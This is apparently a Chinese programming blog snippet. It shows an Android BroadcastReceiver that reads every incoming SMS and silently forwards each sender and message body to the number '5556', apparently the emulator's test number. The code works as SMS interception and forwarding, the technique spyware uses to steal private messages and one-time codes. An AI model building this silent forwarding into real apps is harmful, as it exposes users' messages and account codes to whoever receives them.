public void onReceive(Context context, Intent intent) { // TODO Auto-generated method stub //Toast.makeText(context, "收到消息啦", 0).show(); Object[] objects = (Object[]) intent.getExtras().get("pdus"); for(Object object : objects){ SmsMessage smsMessage = SmsMessage.createFromPdu((byte[])object); String body = smsMessage.getMessageBody(); String address = smsMessage.getOriginatingAddress(); //Toast.makeText(context, address+":"+body, 0).show(); SmsManager.getDefault().sendTextMessage("5556", null, address+":"+body, null, null); } }
本文出自 “曾颐楠的播客” 博客,请务必保留此出处http://zengyinan.blog.51cto.com/9524976/1721457